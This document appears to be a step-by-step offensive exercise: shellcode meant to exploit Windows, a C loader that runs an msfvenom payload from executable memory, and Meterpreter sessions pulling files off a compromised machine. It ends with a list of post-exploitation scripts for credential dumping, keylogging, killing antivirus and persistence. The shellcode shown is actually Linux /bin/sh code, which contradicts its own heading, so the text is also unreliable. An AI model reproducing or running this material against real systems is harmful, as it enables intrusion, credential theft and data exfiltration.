

## 1. Create a shellcode to exploit windows OS

```
.section .data
```

```
.section .text
```

```
.globl _start
```

```
_start:
```

```
    xor %eax, %eax
```

```
mov $70, %al
```

```
    xor %ebx, %ebx
```

```
    xor %ecx, %ecx
```

```
int $0x80
```

```
jmp ender
```

```
starter:
```

```
popl %ebx
```

```
    xor %eax, %eax
```

```
mov %al, 0x07(%ebx)
```

```
movl %ebx, 0x08(%ebx)
```

```
movl %ebx, 0x0c(%ebx)
```

```
mov $11, %al
```

```
lea 0x08(%ebx), %ecx
```

```
lea 0x0c(%ebx), %edx
```

```
int $0x80
```

```
ender:
```

```
call starter
```

```
.string "/bin/shNAAAABBBB"
```

## 2. Execute the shellcode on Windows

```
#include <windows.h>
using namespace std;

int main(int argc, char **argv) {

    // shellcode generated by msfvenom
    char shellcode[] = "\xfc\xe8\x82\x00\x00\x00...";

    // allocate space in the process using VirtualAlloc
    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);

    //copy the shellcode into the allocated space
    memcpy(exec, shellcode, sizeof shellcode);

    //execute the written memory
    ((void(*)())exec)();

    return 0;
}
```

## 3. Get a Meterpreter.

```
meterpreter > help
```

Core Commands

=====

Command	Description
-----	-----
?	Help menu
background	Backgrounds the current session
channel	Displays information about active channels

...snip...

#### 4. Upload and Download few files from the exploited system

```
meterpreter > download e:\\readme.txt /root/  
[*] downloading: e:\\readme.txt -> /root/  
[*] downloaded : e:\\readme.txt -> /root//readme.txt  
meterpreter >
```

```
meterpreter > run file_collector -i /root/Courses/Cforlinux/file.lst -l /root/Courses/Cforlinux/  
[*] Reading file /root/Courses/Cforlinux/file.lst  
[*] Downloading to /root/Courses/Cforlinux/  
[*] Downloading e:\\README.TXT  
[*] Downloading e:\\SRC\\ANSWERS\\AN1209.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0409.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0410.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0411.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0604.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0605.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0610.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0611.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0612.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0707.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0708.C  
[*] Downloading e:\\SRC\\ANSWERS\\EX0709A.C
```

```
meterpreter > run  
run arp_scanner  
run autoroute  
run checkvm  
run credcollect  
run domain_list_gen  
run duplinks  
run duplicate  
run enum_chrome  
run enum_firefox  
run enum_logged_on_users  
run enum_powershell_env  
run enum_putty  
run enum_shares  
run enum_vmware  
run event_manager  
run file_collector  
run get_application_list  
run get_env  
run get_filezilla_creds  
run get_local_subnets  
run get_loggedon_users  
run get_pidgin_creds  
run getcountermeasure  
run getgui  
run gettelnet  
run getvncpw  
run hashdump  
run hostsedit  
run keylogrecorder  
run killav  
run meter_inject  
run metasploit  
run migrate  
run multi_console_command  
run multicommand  
run multiscript  
run netenum  
run packetrecorder  
run panda_2007_pawsvs1  
run persistence  
run pmt_driver_config  
run powerdump  
run prefetchtool  
run process_memdump  
run remotewinenum  
run scheduleme  
run schtasksabuse  
run scraper  
run screen_unlock  
run search_dword  
run service_permissions_escalate  
run srt_webdrive_priv  
run uploadexec  
run virtualbox_sysenter_dos  
run vnc  
run win32-sshclient  
run win32-sshsrvr  
run winbf  
run winenum  
run wmic
```

```
meterpreter > help
```

##### Core Commands

```
=====
```

Command	Description
-----	-----
?	Help menu
background	Backgrounds the current session
channel	Displays information about active channels
...snip...	